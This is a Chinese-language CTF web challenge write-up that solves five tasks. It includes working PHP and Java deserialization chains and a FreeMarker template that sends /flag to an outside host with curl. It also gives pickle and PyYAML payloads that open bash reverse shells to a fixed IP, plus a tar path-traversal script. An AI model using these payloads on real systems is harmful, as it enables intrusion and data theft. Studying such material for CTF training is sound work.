web1

首先是php源码development环境源码泄露,分别拿到start.sh(dirsearch扫出来的)和p0p.php的源码

image-20230902204727657

image-20230902204754321

然后根据源码稍微下修改下,在自己本地搭建测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<?php

// header("HTTP/1.1 302 found");

// header("Location:https://passer-by.com/pacman/");



class Pro{

private $exp;

private $rce2;



public function __get($name)

{

return $this->$rce2=$this->exp[$rce2];

}

public function __toString()
{
call_user_func('system', "cat /flag");
}

}



class Yang
{

public function __call($name, $ary)

{

if ($this->key === true || $this->finish1->name) {

if ($this->finish->finish) {
echo "Yang::__call ";
var_dump($ary);
call_user_func($this->now[$name], $ary[0]);

}
}
}

public function ycb()
{
echo "Yang::ycb ";
$this->now = 0;
$a = $this->finish->finish;
// var_dump($a);
return $a;
}

public function __wakeup()
{
$this->key = True;
}

}

class Cheng
{
private $finish;
public $name;
public function __get($value)
{


echo "Cheng::__get ";
$ret = $this->$value = $this->name[$value];
// var_dump($value,$ret);
return $ret;

}
}

class Bei
{
public function __destruct()
{

if ($this->CTF->ycb()) {
echo "Bei::__destruct inif";
$this->fine->YCB1($this->rce, $this->rce1);
}
}

public function __wakeup()
{
$this->key = false;
}
}

# Bei::__destruct -> Yang::call()


function prohib($a){

$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";

return preg_replace($filter,'',$a);

}



$a = $_POST["CTF"];

if (isset($a)){

// unserialize(prohib($a));
unserialize($a);

}

?>

执行链条 Bei::__destruct -> Yang::__call() 然后利用Cheng进行条件判断

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

// header("HTTP/1.1 302 found");

// header("Location:https://passer-by.com/pacman/");



class Pro{

private $exp;

private $rce2;

public function __construct(){
$this->exp[1] = 1;
$this->rce2 = 1;
}

}



class Yang

{


}

class Cheng

{

private $finish;

public $name;

public function __construct(){
$this->finish = 1;
$this->name["finish"] = true;
}

}

class Bei

{

}



function prohib($a){

$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";

return preg_replace($filter,'',$a);

}

$a = new Bei;
$a->key = false;
$a->CTF = new Yang;
$a->CTF->finish = new Cheng;
$a->fine = new Yang;
$a->fine->finish = new Cheng;
// $a->fine->now["YCB1"] = "assert";
// $a->rce = "echo `\$_POST[cmd]`";
$a->fine->now["YCB1"] = "readfile";
$a->rce = "php://filter/convert.base64-encode/resource=/proc/1/environ";
$a->rce1 = "1";
// $a->CTF->now = 0;
// $a->
echo urlencode(serialize($a));
1
CTF=O%3A3%3A%22Bei%22%3A5%3A%7Bs%3A3%3A%22key%22%3Bb%3A0%3Bs%3A3%3A%22CTF%22%3BO%3A4%3A%22Yang%22%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3Bi%3A1%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bb%3A1%3B%7D%7D%7Ds%3A4%3A%22fine%22%3BO%3A4%3A%22Yang%22%3A2%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3Bi%3A1%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bb%3A1%3B%7D%7Ds%3A3%3A%22now%22%3Ba%3A1%3A%7Bs%3A4%3A%22YCB1%22%3Bs%3A8%3A%22readfile%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fproc%2F1%2Fenviron%22%3Bs%3A4%3A%22rce1%22%3Bs%3A1%3A%221%22%3B%7D

image-20230902205702430

然后base64解码得到flag

image-20230902205740263

DASCTF{29196943047249369343892607212394}

当然还可以还可以进行双写绕过,加修改字符串长度达到RCE功能。

web2

首先拿到源码进行审计,分析两个有用的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@RequestMapping({"/templating"})
public String templating(@RequestParam String name, Model model) {
model.addAttribute("name", name);
return "index";
}

@RequestMapping({"/getflag"})
@ResponseBody
public String getflag(@RequestParam String data) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(decode);
NewObjectInputStream objectInputStream = new NewObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
return "Success";
}

首先是/templating,返回根据index进行模板渲染,

然后是/getflag,传入data进行反序列化

看到Utils里面的HtmlInvocationHandler类,这是一个用于代理的类,重点在

1
2
3
4
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object result = this.obj.get(method.getName());
return result;
}

如果这个进行动态代理以后则代理的类方法会被拦截反过来执行HtmlInvocationHandler中成员变量obj的get方法,并且方法名作为变量传入。

发现HTMLmap类的get方法代码如下

1
2
3
4
5
6
7
8
public Object get(Object key) {
try {
Object obj = HtmlUploadUtil.uploadfile(this.filename, this.content);
return obj;
} catch (Exception var4) {
throw new RuntimeException(var4);
}
}

发现不管key是多少,都会调用HtmlUploadUtil.uploadfile(this.filename, this.content)

然后审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static boolean uploadfile(String filename, String content) {
if (filename != null && !filename.endsWith(".ftl")) {
return false;
} else {
String realPath = "/app/templates/" + filename;
if (!realPath.contains("../") && !realPath.contains("..\\")) {
try {
BufferedWriter writer = new BufferedWriter(new FileWriter(realPath));
writer.write(content);
writer.close();
return true;
} catch (IOException var4) {
System.err.println("Error uploading file: " + var4.getMessage());
return false;
}
} else {
return false;
}
}
}

发现是上传.ftl后缀结尾的文件,ftl是java的模板类似于python 的jinja2模板。是可以执行代码的,加上可以上传ftl文件,所以可以考虑上传index.ftl文件覆盖原文件,达到执行恶意代码功能。

利用点找到了,剩下的就是链子。

这里可以利用动态代理去代理map,这样map调用toString的时候会调用到this.obj.get(method.getName()),从而调用文件上传。

然后map的toString方法可以由BadAttributeValueExpException反序列化的时候调用,所以链子就是BadAttributeValueExpException#readObject -> Map#toString -> HtmlInvocationHandler#invoke -> HtmlMap#get -> HtmlUploadUtil#uploadfile

然后上传内容是ssti 利用curl外带flag

生成序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import com.ycbjava.Utils.HtmlMap;
import com.ycbjava.Utils.NewObjectInputStream;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;

public class exp {
public static void main(String[] args) throws Exception {
HtmlMap htmlMap = new HtmlMap();
htmlMap.filename = "index.ftl";
htmlMap.content = "<!DOCTYPE html>\n" +
"<html lang=\"en\">\n" +
"<head>\n" +
" <meta charset=\"UTF-8\">\n" +
" <#assign a=springMacroRequestContext.webApplicationContext>\n" +
" <#assign b=a.getBean('freeMarkerConfiguration')>\n" +
" <#assign c=b.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
" <#assign VOID=b.setNewBuiltinClassResolver(c)>${\"freemarker.template.utility.Execute\"?new()(\"curl -X POST -F flag=@/flag https://t7609j5619.goho.co\")}\n" +
"</head>\n" +
"<body></body>\n" +
"</html>";

Class htmlInvocationHandlerClass = Class.forName("com.ycbjava.Utils.HtmlInvocationHandler");
Constructor HtmlInvocationHandlerConstructor = htmlInvocationHandlerClass.getDeclaredConstructors()[0];

HtmlInvocationHandlerConstructor.setAccessible(true);
Map expmap = (Map) Proxy.newProxyInstance(
exp.class.getClassLoader(),
new Class[]{Map.class},
(InvocationHandler) HtmlInvocationHandlerConstructor.newInstance(htmlMap)
);

// 设置bavException的值
BadAttributeValueExpException bavException = new BadAttributeValueExpException(null);
Field field = bavException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bavException, expmap);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

// 序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(bavException);
byteArrayOutputStream.flush();
byte[] bytes = byteArrayOutputStream.toByteArray();
String encode = Base64.getEncoder().encodeToString(bytes);
System.out.println(encode);

// NewObjectInputStream objectInputStream = new NewObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
// objectInputStream.readObject();
}
}

image-20230903045728113

image-20230903045756483

image-20230903045812602

DASCTF{13685934647267473647078910074106}

web4

根据题目提示,拿到www.zip解压得到app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, session
from secret import secret

@app.route('/verification')
def verification():
try:
attribute = session.get('Attribute')
if not isinstance(attribute, dict):
raise Exception
except Exception:
return 'Hacker!!!'
if attribute.get('name') == 'admin':
if attribute.get('admin') == 1:
return secret
else:
return "Don't play tricks on me"
else:
return "You are a perfect stranger to me"

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

题目中没有给我们session的密钥,于是先解密一下flask-session,结果发现secret_key在里面

利用得到的,结合代码以管理员身份登录

image-20230902230342146

image-20230902230328054

提示跳转/src0de拿到部分源码

image-20230902230415768

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message

return rsp

class GWHT():
def __init__(self):
pass

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

发现是一个pickle反序列化,但是有check函数检查,不知道是什么函数。

经过测试发现操作码R被过滤了,利用b指令码调用__setstate__ 具体原理可以见最近碰到的 Python pickle 反序列化小总结 - 先知社区 (aliyun.com) 中bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64
import pickle

class GWHT():
def __init__(self):
pass

opcode = b'''(c__main__
GWHT
o}(S"__setstate__"
cos
system
ubS"bash -c \"bash -i >& /dev/tcp/115.236.153.174/47295 0>&1\""
b.'''
pickle.loads(opcode)
print(base64.b64encode(opcode))

然后反弹shell

image-20230902230956597

拿到shell以后发现flag文件要root权限读取,于是这里用到了Capabilities提权,

虽然没有getcap,推测python可能存在,于是尝试用python提权,发现成功了

image-20230902231516655

最好是利用提权神器linpeas.sh,这个是最能发现利用点的。

最终拿到flag

image-20230902231619216

DASCTF{52139463825490067065822591827051}

web5

这个题是做过类似的题目,完全非预期解

首先拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import uuid
from flask import *
from werkzeug.utils import *
app = Flask(__name__)
app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"
@app.route('/')
def index():
name=request.args.get("name","name")
m1sery=[request.args.get("m1sery","Doctor.Boogipop")]
if(session.get("name")=="Dr.Boog1pop"):
blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)
if blacklist:
return "bad hacker no way"
exec(f'for [{name}] in [{m1sery}]:print("strange?")')
else:
session['name'] = "Doctor"
return render_template("index.html",name=session.get("name"))
@app.route('/read')
def read():
file = request.args.get('file')
fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
if fileblacklist:
return "bad hacker!"
start=request.args.get("start","0")
end=request.args.get("end","0")
if start=="0" and end=="0":
return open(file,"rb").read()
else:
start,end=int(start),int(end)
f=open(file,"rb")
f.seek(start)
data=f.read(end)
return data
@app.route("/<path:path>")
def render_page(path):
print(os.path.pardir)
print(path)
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)
if __name__=='__main__':
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

审计一遍以后发现只过滤了fl ag,然后尝试读取docker创建时候的环境变量,发现确实在环境变量中。

image-20230902232132437

最终拿到flag DASCTF{12823372594489346656591220623656}

web6

拿到源码进行本地模拟部署

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import tarfile
from flask import Flask, render_template, request, redirect
from hashlib import md5
import yaml
import os
import re

app = Flask(__name__)


def waf(s):
flag = True
blacklist = [
"bytes",
"eval",
"map",
"frozenset",
"popen",
"tuple",
"exec",
"\\",
"object",
"listitems",
"subprocess",
"object",
"apply",
]
for no in blacklist:
if no.lower() in str(s).lower():
flag = False
print(no)
break
return flag

def extractFile(filepath, type):
'''解压tar文件'''
extractdir = filepath.split(".")[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)

if type == "tar":
tf = tarfile.TarFile(filepath)
tf.extractall(extractdir)
return tf.getnames()


@app.route("/", methods=["GET"])
def main():
fn = "uploads/" + md5().hexdigest()
if not os.path.exists(fn):
os.makedirs(fn)
return render_template("index.html")


@app.route("/upload", methods=["GET", "POST"])
def upload():
if request.method == "GET":
return redirect("/")

if request.method == "POST":
upFile = request.files["file"]
print(upFile)
if re.search(r"\.\.|/", upFile.filename, re.M | re.I) != None:
return "<script>alert('Hacker!');window.location.href='/upload'</script>"

savePath = f"uploads/{upFile.filename}"
print(savePath)
upFile.save(savePath)

if tarfile.is_tarfile(savePath):
zipDatas = extractFile(savePath, "tar")
print(zipDatas)
return render_template("result.html",
path=savePath,
files=zipDatas)
else:
return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"


@app.route("/src", methods=["GET"])
def src():
if request.args:
username = request.args.get("username")
with open(f"config/{username}.yaml", "rb") as f:
Config = yaml.load(f.read())
return render_template("admin.html",
username="admin",
message="success")
else:
return render_template("index.html")


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)

审计完源码,核心思路如下,先用upload路由上传tar压缩包,然后解压文件到./config/{username}.yaml,然后再/src?username={username}的方式来进行yaml反序列化。

有一个细节Config = yaml.load(f.read()) 这一段代码标志着这个PyYAML版本似乎在5.1以下,因为5.1以上一般写法是Config = yaml.load(f.read())

发现黑名单没有过滤os.system。所以直接反弹shell

1
!!python/object/apply:os.system ["bash -c \"bash -i >& /dev/tcp/115.236.153.174/47295 0>&1\""]

所以思路很简单,所以动手。这里要用到一个CVE-2007-4559来进行tar文件打包

1
2
3
4
5
6
7
8
import tarfile

def change_name(tarinfo):
tarinfo.name = "../../config/" + tarinfo.name
return tarinfo

with tarfile.open("shell.tar", "w:tar") as tar:
tar.add("shell.yaml", filter=change_name)

然后上传文件,并且解压缩到了config/shell.yaml

image-20230903020931642

然后访问拿到了shell

image-20230903021058039

直接cat /fll*即可

DASCTF{38527367633473623946862083463114}